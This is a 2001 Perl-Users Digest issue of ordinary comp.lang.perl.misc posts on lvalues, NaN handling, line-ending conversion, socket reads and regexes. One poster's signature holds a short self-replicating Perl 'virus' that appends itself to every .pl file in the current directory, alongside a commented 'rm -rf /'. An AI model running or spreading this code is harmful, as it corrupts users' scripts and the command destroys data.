[18595] in Perl-Users-Digest
Perl-Users Digest, Issue: 763 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Wed Apr 25 14:10:42 2001
Date: Wed, 25 Apr 2001 11:10:13 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <988222213-v10-i763@ruby.oce.orst.edu>
Content-Type: text
Perl-Users Digest Wed, 25 Apr 2001 Volume: 10 Number: 763
Today's topics:
Re: Lvalue (Anno Siegel)
Re: Lvalue <joe+usenet@sunstarsys.com>
match a range of number <same@make-it-online.com>
Re: Newbie GD question <dtweed@acm.org>
Re: operators: != vs. ne, strange behaviour (Rudolf Polzer)
Re: Read text files of different format (Anno Siegel)
Re: Read text files of different format <martin@djernaes.net>
Re: Read text files of different format <sthomas@ws5120.nc.fnc.fujitsu.com>
Re: Read text files of different format (Anno Siegel)
Re: Read text files of different format <martin@djernaes.net>
Re: Reading from a file into a matrix (Anno Siegel)
Re: RegEx optimization assistance <nospam@newsranger.com>
Re: regexp matching with optional part <uri@sysarch.com>
Re: regexp matching with optional part <bart.lateur@skynet.be>
Re: Sockets, Time-outs, and Alarms nobull@mail.com
sysread, buffers and perl sockets natalie.prowse@ecruiter.nospam.com
Re: sysread, buffers and perl sockets <uri@sysarch.com>
Re: total newbie (Gil G.)
Re: US$50 prize for hash failure from 'delete' inside a <ren@tivoli.com>
Re: use Filter::decrypt; How to encrypt source code fi <mischief@velma.motion.net>
Re: Where is my script (Craig Berry)
Why is perl faster then Tcl <coopvs14@americasm01.nt.com>
Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: 25 Apr 2001 15:16:34 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: Lvalue
Message-Id: <9c6poi$35f$2@mamenchi.zrz.TU-Berlin.DE>
According to Jonas Nilsson <jonni@ifm.liu.se>:
> "Tad McClellan" <tadmc@augustmail.com> wrote:
> > >I guess you can define this function in terms of doing an eval() and trap
> > >the error
> >
> >
> > That seemed to be the consensus.
> >
> >
> > >but that appears to me to be a very costly way of checking
> > >something that should be very quick and easy check so I am hoping there's
> a
> > >better way.
> >
> >
> > We didn't find one...
>
> Isn't there any way to check the pointer-counter for $_ ? If there is more
> than one pointer to the value of $_ it should be an L-value, shouldn't it?
Why should that be the case? $x = $y = \ 3;
Anno
------------------------------
Date: 25 Apr 2001 13:41:09 -0400
From: Joe Schaefer <joe+usenet@sunstarsys.com>
Subject: Re: Lvalue
Message-Id: <m38zkox4ga.fsf@mumonkan.sunstarsys.com>
tadmc@augustmail.com (Tad McClellan) writes:
> Alf Salte <alf.salte@nextra.no.spam.com> wrote:
>
> >I guess you can define this function in terms of doing an eval() and trap
> >the error
>
>
> That seemed to be the consensus.
>
>
> >but that appears to me to be a very costly way of checking
> >something that should be very quick and easy check so I am hoping there's a
> >better way.
>
>
> We didn't find one...
Looks like another job for Inline.
#!/usr/bin/perl -wl
use Inline C => q{ int is_lvalue(SV *sv)
{ return !(SvFLAGS(sv) & SVf_READONLY); }
};
print is_lvalue(1);
print is_lvalue($_=1);
__END__
Output:
0
1
--
Joe Schaefer "When the end of the world comes, I want to be in Cincinnati.
Everything happens ten years later there."
--Mark Twain
------------------------------
Date: Thu, 26 Apr 2001 01:04:01 +0800
From: "DT" <same@make-it-online.com>
Subject: match a range of number
Message-Id: <9c6vuf01aq5@news1.newsguy.com>
Hi,
Can I use a single matching to do:
(($i > 123) && ($i < 456))
?
Thanks
------------------------------
Date: Wed, 25 Apr 2001 12:54:38 -0400
From: Dave Tweed <dtweed@acm.org>
Subject: Re: Newbie GD question
Message-Id: <3AE7014E.5CDE08D0@acm.org>
Dan Harding wrote:
> Unfortunately, when an image is imported as JPEG, the color palette
> is full. I wish to use several colors not already existing in the
> palette, which means I need to deallocate existing colors so I can
> add the new ones to the palette.
>
> The problem I'm having is when I deallocate a color and add a new
> one, whatever pixels in the image were the old color now become the
> new color, in addition to whatever drawing/text labeling/etc. I'm
> actually laying down.
>
> Conceivably then, what I need to do is select a color index, find
> all pixels in the image that are that index, change all those pixels
> to the index of the closest color still remaining in the palette,
> and *then* deallocate the index and reallocate the new color.
>
> Is there a way to do this simply globally, or must one iterate over
> every pixel of the image? I kept looking through the GD documentation
> for something along the lines of a ReplaceColor(x,y) function which
> would take all pixels in the image with index x and make them color
> index y (thus freeing up x for deallocation).
Forgive me if this is way off base; I'm not too familiar with JPEG
format and not at all familiar with GD.
I don't think the color table is stored in the JPEG file; it's
created on the fly in the decompression process. So the simplest
thing to do would be to tell the decompressor (before it starts)
to use fewer slots, reserving the number that you need for your
overlays, then you can put whatever colors you need into those
slots.
Does newFromJpeg have any optional arguments to do this?
After poking around a bit, I see that gd 2.0.1 (beta) now supports
true color images. Perhaps moving to this would help your situation.
-- Dave Tweed
------------------------------
Date: Wed, 25 Apr 2001 18:25:46 +0200
From: eins@durchnull.de (Rudolf Polzer)
Subject: Re: operators: != vs. ne, strange behaviour
Message-Id: <slrn9eduka.2de.eins@www42.t-offline.de>
Martien Verbruggen <mgjv@tradingpost.com.au> wrote:
[NaN]
Here I am analyzing NaN:
NaN is even supported during calculations.
my $NaN = 0 + 'NaN';
Try:
die if $NaN;
# NaN is true (not 0, not '0', not '', not (), not undef)
# therefore NaN is _not_ undef
print $NaN + $NaN; # NaN
print log $NaN; # still NaN, no error checking
use Data::Dumper;
print Dumper $NaN; # $VAR1 = 'nan' => Dumper converts to string
# NaN is not regenerated upon eval()
Interestingly, using Storable, I found out that nan is represented as
00000000 00000000 00000000 00000000
00000000 00000000 11111000 01111111
INF, having the same magic, is
00000000 00000000 00000000 00000000
00000000 00000000 11110000 01111111
These are exactly the NaN values C uses.
INF - INF = NAN holds.
INF can be generated, however, by 1e308 * 9, a simple calculation.
Interestingly, denormals are supported. Try print 1e-323 and look at
the inaccuracy which could only come from denormality.
AND I FOUND A WAY TO GENERATE NAN WITHOUT USING STRINGS:
print (-1) ** 0.5;
TO PROVE NAN IS NOT SUPPORTED BY ACCIDENT.
Since this is not caught by Perl (like log -1, 0/0 are), NaN is a
feature of perl. I found three places in my perl documentation that
refer to NaN: in the FAQ and in some other file about checking if
something is a number and in the TOC that Math::BigFloat returns 'NaN'
on error. So we did not find anything new.
--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
------------------------------
Date: 25 Apr 2001 15:12:49 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: Read text files of different format
Message-Id: <9c6phh$35f$1@mamenchi.zrz.TU-Berlin.DE>
According to Martin Djernaes <martin@djernaes.net>:
> Hi,
>
> I have been looking for a way to read text files (eith perl on a unix
> platform) which could be in eighter dos (\r\n), unix (\n) or mac (\r)
> format. The best would be if a mix would be alowed, but also a way to
> read the file with a consistent line termination would be fine.
>
> Currently I do:
>
> open (AFILE, "$myfile") || die("Can't open file '$myfile': $!");
>
> binmode(AFILE);
> @lines = <AFILE>;
> close(AFILE);
>
> my $my_lines = join(/\n/,@lines);
If you want the file in one chunk, read it in one chunk:
my $my_lines = do { local $/; <AFILE>};
or even
read( AFILE, my $lines, -s AFILE);
The latter only works if the file is a disk file (as opposed to a pipe
or terminal).
> $my_lines =~ s/\r\n/\n/g;
> $my_lines =~ s/\r/\n/g;
tr/// might do this a tad faster.
> @lines = split(/\n/,$my_lines);
>
> This is now very efficient, when talking about +500K files.
s/now/not/, I guess.
Yes, you are making three passes over the file. If you give
split a regular expression that matches all three delimiters
and nothing else, you need only one:
@lines = split /\r\n|\n|\r/, $my_lines;
The regex can be honed a bit, that's left as an exercise.
Split (called with two parameters) is friendly enough to drop
trailing empty fields, so this does the right thing on Unix files,
where there usually is a final linefeed, and on Mac files, which
typically don't have a trailing "\r".
Anno
------------------------------
Date: Wed, 25 Apr 2001 08:27:10 -0700
From: Martin Djernaes <martin@djernaes.net>
Subject: Re: Read text files of different format
Message-Id: <3AE6ECCE.FF6B696B@djernaes.net>
Hi Anno,
Thanks for you suggestions (and yes it was inefficient I meant!)
Martin
Anno Siegel wrote:
>
> According to Martin Djernaes <martin@djernaes.net>:
> > Hi,
> >
> > I have been looking for a way to read text files (eith perl on a unix
> > platform) which could be in eighter dos (\r\n), unix (\n) or mac (\r)
> > format. The best would be if a mix would be alowed, but also a way to
> > read the file with a consistent line termination would be fine.
> >
> > Currently I do:
> >
> > open (AFILE, "$myfile") || die("Can't open file '$myfile': $!");
> >
> > binmode(AFILE);
> > @lines = <AFILE>;
> > close(AFILE);
> >
> > my $my_lines = join(/\n/,@lines);
>
> If you want the file in one chunk, read it in one chunk:
>
> my $my_lines = do { local $/; <AFILE>};
>
> or even
>
> read( AFILE, my $lines, -s AFILE);
>
> The latter only works if the file is a disk file (as opposed to a pipe
> or terminal).
>
> > $my_lines =~ s/\r\n/\n/g;
> > $my_lines =~ s/\r/\n/g;
>
> tr/// might do this a tad faster.
>
> > @lines = split(/\n/,$my_lines);
> >
> > This is now very efficient, when talking about +500K files.
>
> s/now/not/, I guess.
>
> Yes, you are making three passes over the file. If you give
> split a regular expression that matches all three delimiters
> and nothing else, you need only one:
>
> @lines = split /\r\n|\n|\r/, $my_lines;
>
> The regex can be honed a bit, that's left as an exercise.
>
> Split (called with two parameters) is friendly enough to drop
> trailing empty fields, so this does the right thing on Unix files,
> where there usually is a final linefeed, and on Mac files, which
> typically don't have a trailing "\r".
>
> Anno
------------------------------
Date: 25 Apr 2001 11:35:52 -0400
From: Samuel Thomas <sthomas@ws5120.nc.fnc.fujitsu.com>
Subject: Re: Read text files of different format
Message-Id: <tl6k849m1pj.fsf@ws5120.nc.fnc.fujitsu.com>
I was under the impression that perl handled the os specific detials
for you and you could just look for "\n". (This was after reading a
similar question in the Perl Cookbook)
--
/\
Sam Thomas / \
Ext 1161 / ** \
/______\
------------------------------
Date: 25 Apr 2001 15:49:48 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: Read text files of different format
Message-Id: <9c6rms$4ol$1@mamenchi.zrz.TU-Berlin.DE>
According to Martin Djernaes <martin@djernaes.net>:
> Hi Anno,
>
> Thanks for you suggestions (and yes it was inefficient I meant!)
Please don't place your reply above the article you are replying
to. This is especially annoying when you actually refer to parts
of the quoted text.
Anno
[jeopardectomy]
------------------------------
Date: Wed, 25 Apr 2001 09:37:59 -0700
From: Martin Djernaes <martin@djernaes.net>
Subject: Re: Read text files of different format
Message-Id: <3AE6FD67.6649AED2@djernaes.net>
Hi,
Samuel Thomas wrote:
> I was under the impression that perl handled the os specific detials
> for you and you could just look for "\n". (This was after reading a
> similar question in the Perl Cookbook)
I tried, and it didn't work (at least not when it had mixed versions of
the line termination in one file).
Martin
------------------------------
Date: 25 Apr 2001 16:16:12 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: Reading from a file into a matrix
Message-Id: <9c6t8c$624$1@mamenchi.zrz.TU-Berlin.DE>
According to Murat Uenalan <murat.uenalan@gmx.de>:
> First,
>
> Not..
>
> @file = ['thread.txt', 'object.txt','layout.txt', 'basic.txt'];
[reasonable advice snipped]
Your reply looks sound enough, but please, If you want to play,
play by the rules.
Trim the article you are replying to to contain just enough context
and interleave your reply with the quoted text. This is general
custom on Usenet, and explicitly endorsed in this newsgroup.
Yes, it *does* take a little longer to prepare an article this way.
This is time spent as a courtesy to your readers, whose time you
save.
Anno
------------------------------
Date: Wed, 25 Apr 2001 16:44:49 GMT
From: Drew <nospam@newsranger.com>
Subject: Re: RegEx optimization assistance
Message-Id: <5aDF6.5046$QV4.428882@www.newsranger.com>
In article <tebccapccsrm3f@corp.supernews.com>, Craig Berry says...
--SNIP--
>: >>while ( <DATA> ) {
>: >> if ( /\bfree\b/ ) {
>: >> my @keys = split " ";
>: >> @stats{ @keys } = split " ", <DATA>;
>: > ^^^^^^
--SNIP--
>It's pretty simple. The code looks for the line with 'free' on it; this
>will be the column headings, so all of them get stored into the @keys
>array. Then the next line, which is guaranteed to have the corresponding
>numeric values in the same columns, is split, with each value being
>assigned by key into a hash called %stats using a hash slice.
When I run this, I get all the column headings, but no data. Should I be
splitting on something other than spaces?
------------------------------
Date: Wed, 25 Apr 2001 15:31:28 GMT
From: Uri Guttman <uri@sysarch.com>
Subject: Re: regexp matching with optional part
Message-Id: <x71yqhhu79.fsf@home.sysarch.com>
>>>>> "Ronny" == Ronald Fischer <ronald.fischer@deadspam.com> writes:
Ronny> Bart Lateur <bart.lateur@skynet.be> writes:
>> Uri Guttman wrote:
>>
>> > s/^x-|-x$//g && $_
>>
>> Are you sure the intention is to bring
>>
>> x-x-x-x-x-boo!-x-x-x-x-x
>>
>> down to just:
>>
>> boo!
Ronny> Thank you, good point. I overlooked this.
no, you overlooked the followups which show that assumption is wrong. /g
will not restart at the beginning of the string as that can cause
infinite loops.
uri
--
Uri Guttman --------- uri@sysarch.com ---------- http://www.sysarch.com
SYStems ARCHitecture and Stem Development ------ http://www.stemsystems.com
Learn Advanced Object Oriented Perl from Damian Conway - Boston, July 10-11
Class and Registration info: http://www.sysarch.com/perl/OOP_class.html
------------------------------
Date: Wed, 25 Apr 2001 17:05:19 GMT
From: Bart Lateur <bart.lateur@skynet.be>
Subject: Re: regexp matching with optional part
Message-Id: <er0eetsd5stb70os3h8mgssuqd40mp83cd@4ax.com>
Uri Guttman wrote:
>no, you overlooked the followups which show that assumption is wrong. /g
>will not restart at the beginning of the string as that can cause
>infinite loops.
Eh, no. It's just that the regex part of s/// keeps scanning the
original string, not the partly substituted string. So the caret in
/^-x/ is evaluated against the old string, not against the partly
modified string. Therefore it will only match at the start of the
original string.
1 while s/^-x|x-$//;
is another matter.
My mistake.
--
Bart.
------------------------------
Date: 25 Apr 2001 18:02:26 +0100
From: nobull@mail.com
Subject: Re: Sockets, Time-outs, and Alarms
Message-Id: <u93dawlxp9.fsf@wcl-l.bham.ac.uk>
Lyle Goldman <Lyle_Goldman@ibi.com> writes:
> $SIG{ALRM} = "IGNORE";
> $resp = <SOCKET>;
> alarm 0;
>
> However, it doesn't work. The attempted read from the socket is not interrupted,
> as many other system calls are when there is a signal.
You are not using a simple system call to read the socket you are
using STDIO which will automatically retry an interrupted system
call.
Anyhow I can't recall for sure but I think ignored signals don't
interrupt system calls.
> Does buffering have anything to do with it, and if so, how can I
> avoid it?
The Perl functions providing interface to the unbuffered socket read
system calls are recv() and sysread().
--
\\ ( )
. _\\__[oo
.__/ \\ /\@
. l___\\
# ll l\\
###LL LL\\
------------------------------
Date: 25 Apr 2001 15:59:24 GMT
From: natalie.prowse@ecruiter.nospam.com
Subject: sysread, buffers and perl sockets
Message-Id: <9c6s8s$vg6$1@news.netmar.com>
Hi,
I've slogged through the perl docs, but I can't find any info on this.
I've got a socket client that writes to a server, using the socket::INET
module and then reads a response. I use syswrite and sysread because I have
to read a header, and then determine the number of bytes of data to read from
that.
I have used autoflush, and a variety of other techniques, and I still end up
with the data read ONLY returning 1424 bytes. EVERY TIME, *EXCEPT* if I
"step" through the script in debug mode. If I run it without debug, or
put
it in debug and use "r" to run to end of script, it only reads 1424
bytes.
(the return data is actually 6215 bytes.
I'm sure it is some simple but esoteric issue with buffering or flushing but
I
can't seem to find any docs on it.
Any ideas?
-Natalie
use IO::Socket;
$filedata="";
$infile = @ARGV[0]; # get the input XML file name from the command line
$outfile = $infile . ".tagged";
open (OUTF,">$outfile");
$filedata = SlurpFile($infile);
$len = length($filedata) + 12;
$message = pack("NinIn",$len,0,1,1234,9) . $filedata;
# set the port number the same as the current listener.
print "length= $len\n";
$sock = IO::Socket::INET->new (
Type => SOCK_STREAM,
PeerAddr => "localhost",
PeerPort => '2000',
Proto => 'tcp',
Timeout => 5
);
unless ($sock) {die "Could not create socket: $@ $!\n";}
$sock->autoflush(1);
$time1 = time;
# send the request
syswrite($sock,$message,$len+4);
# read the header back to get the length of the return data
sysread($sock, $stathdr, 16);
# unpack the header
($retlen,$retflags,$retver,$retid,$rettype) = unpack("NinIn",$stathdr);
#print some debugging info
print "RETLEN1= $retlen\n";
$retlen -= 12;
print "RETLEN2= $retlen\n";
# read the data
$bytes = sysread($sock, $retdata, $retlen);
$time3 = time - $time1;
print "$retlen,$retflags,$retver,$retid,$rettype,\n\n TIME=$time3
SECONDS\n";
print OUTF $retdata;
print "\nnum bytes sysread = $bytes, num bytes in file = $retlen\n";
close OUTF;
close $sock;
exit (0);
sub SlurpFile {
my $infile = shift;
my $contents;
unless (open(INFILE, $infile)) {
die "couldn't open $infile";
}
local $/;
undef $/;
# <> will slurp the whole file if record sep, $/, is undef
$contents = <INFILE>;
close(INFILE);
return $contents;
}
----- Posted via NewsOne.Net: Free (anonymous) Usenet News via the Web -----
http://newsone.net/ -- Free reading and anonymous posting to 60,000+ groups
NewsOne.Net prohibits users from posting spam. If this or other posts
made through NewsOne.Net violate posting guidelines, email abuse@newsone.net
------------------------------
Date: Wed, 25 Apr 2001 16:22:41 GMT
From: Uri Guttman <uri@sysarch.com>
Subject: Re: sysread, buffers and perl sockets
Message-Id: <x7vgntgd9g.fsf@home.sysarch.com>
>>>>> "np" == natalie prowse <natalie.prowse@ecruiter.nospam.com> writes:
np> I have used autoflush, and a variety of other techniques, and I
np> still end up with the data read ONLY returning 1424 bytes. EVERY
np> TIME, *EXCEPT* if I "step" through the script in debug mode. If I
np> run it without debug, or put it in debug and use "r" to run to end
np> of script, it only reads 1424 bytes. (the return data is actually
np> 6215 bytes.
reading from a socket is not guaranteed to return the amount of data you
requested. sockets are not like files in that respect. sysread uses the
unix read(2) call so read man pages on read(2) and that will explain it.
you have to buffer your read data and keep reading until you get the
amount you want. my guess is that the writer is sending the data in
smaller chunks or it is broken up on the net. but that is not your
issue, you still have to manage read buffering yourself.
uri
--
Uri Guttman --------- uri@sysarch.com ---------- http://www.sysarch.com
SYStems ARCHitecture and Stem Development ------ http://www.stemsystems.com
Learn Advanced Object Oriented Perl from Damian Conway - Boston, July 10-11
Class and Registration info: http://www.sysarch.com/perl/OOP_class.html
------------------------------
Date: Wed, 25 Apr 2001 16:45:39 GMT
From: gil@nospam-keskydee.com (Gil G.)
Subject: Re: total newbie
Message-Id: <3ae6feee.837196@news-server>
>Gee, then what's that perly.y business in the perl source?
>
>Greg
>--
>Isn't it a bit unnerving that doctors call what they do "practice"?
> -- George Carlin
Hum... If you mean that an interpreter compiles on the fly, sure...
As to perly.y, enlight me please..
Gil.
------------------------------
Date: 25 Apr 2001 09:43:04 -0500
From: Ren Maddox <ren@tivoli.com>
Subject: Re: US$50 prize for hash failure from 'delete' inside an 'each' loop
Message-Id: <m38zkpxcp3.fsf@dhcp9-172.support.tivoli.com>
On Wed, 25 Apr 2001, webmaster@einhardschule.de wrote:
> Why? As already posted, it happens on my computer: each time I
> delete a key, _all_ elements are re-read (as if each() was
> reset). But this depends on the perl version.
IIRC, the reason each() was resetting for you was not that you were
deleting elements, rather it was that you had a nested each() against
the same hash. There is only one iterator per hash, so whenever the
nested each completed, the outer each would start from the beginning
again.
--
Ren Maddox
ren@tivoli.com
------------------------------
Date: Wed, 25 Apr 2001 15:55:17 -0000
From: Chris Stith <mischief@velma.motion.net>
Subject: Re: use Filter::decrypt; How to encrypt source code first?
Message-Id: <tedsr5af0nbgc6@corp.supernews.com>
John Lin <johnlin@chttl.com.tw> wrote:
> "Anno Siegel" wrote
>> According to John Lin
>> > The crackers can study your .pm file to write a decryptor easily.
>> If an attacker steals both your encrypted source *and* the decryption
>> module you use, you're sol, right.
> OK, last quick question. If I have a script running on a ISP machine,
> it doesn't make sense to protect it by encryption because perl need both
> the source script and decryption module to run, whereas the ISP has full
> privilege to access both. Am I right?
if you can't trust root, you shouldn't be using the box. Find
a hosting company you can trust, or host your own site on your own
server.
Chris
--
Get real! This is a discussion group, not a helpdesk. You post
something, we discuss its implications. If the discussion happens to
answer a question you've asked, that's incidental. -- nobull, clp.misc
------------------------------
Date: Wed, 25 Apr 2001 17:28:23 -0000
From: cberry@cinenet.net (Craig Berry)
Subject: Re: Where is my script
Message-Id: <tee29n8svm7m1c@corp.supernews.com>
Einhardschule Seligenstadt (webmaster@einhardschule.de) wrote:
: Will you find a path to the script in $0?
/m/hermosa/usr3/home/cberry > cat foo
#!/usr/bin/perl -w
print "$0\n";
/m/hermosa/usr3/home/cberry > foo
foo
Nope.
--
| Craig Berry - http://www.cinenet.net/~cberry/
--*-- "When the going gets weird, the weird turn pro."
| - Hunter S. Thompson
------------------------------
Date: Wed, 25 Apr 2001 11:30:39 -0400
From: "Wenzel, Joel [CAR:VS11:EXCH]" <coopvs14@americasm01.nt.com>
Subject: Why is perl faster then Tcl
Message-Id: <3AE6ED9E.1DB402C@americasm01.nt.com>
I'm doing a paper on Tcl and perl and I have an import
quesition.
Do you know why perl is so much faster then Tcl? I've
read a lot of things about what slow Tcl down.
Versions prior to 8.0 did not have a byte-code
compiler or the capability of storing binary but the
new Tcl does. I do not know of any other reasons that
could lead to such a huge cpu time gap.
Does the fact that Tcl can store binary strings mean
that numbers are now stored in binary. Are
expressions involving the addition of numbers faster?
------------------------------
Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V10 Issue 763
**************************************
